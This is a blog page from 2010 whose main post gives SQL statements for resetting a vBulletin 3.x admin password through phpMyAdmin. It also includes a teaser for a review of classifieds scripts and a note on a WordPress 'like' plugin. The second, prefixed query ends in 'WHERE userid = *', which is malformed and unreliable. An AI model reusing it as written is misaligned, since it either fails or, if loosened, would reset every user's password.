How to recover a lost vbulletin admin password with phpMyAdmin

Posted by Tak on Jun 25, 2010 in scripts | 1 comment

A quicky for future reference…

UPDATE user
set password = MD5(concat(MD5('newpassword'), user.salt))
WHERE userid = 1

I’m assuming you are user ID 1. You might need a prefix, but most likely not.

UPDATE PREFIXuser
set password = MD5(concat(MD5('newpassword'), PREFIXuser.salt))
WHERE userid = *

Works on 3.x series forums, as for that piece of shit vbulletin 4 your mileage may vary.

Classipress Vs Ikiclassifieds

There are a lot of PHP based classifieds scripts out there. Let’s face it, most of them are crap. I own the licence for wpclassipress and ikiclassifieds and have used them both extensively online so let’s take a look at them.

wp liked plugin

Posted by Tak on Jun 12, 2010 in scripts | 2 comments

I’m working on a wordpress plugin for a free future release here similar to the function found in facebook, well that’s the plan anyway. So far I have it enabled to pull an array of avatars of users who have liked a post (via the user photo plugin or gravatar as a fallback) & the like count for the post as well as the like count (and the liked post ID) for individual members. as you can guess this plugin was designed with registered users only in mind. It could possibly work for guests but I never designed it that way. The plugin is running in an early form over at imgxtc.com. (contains some nsfw content!)
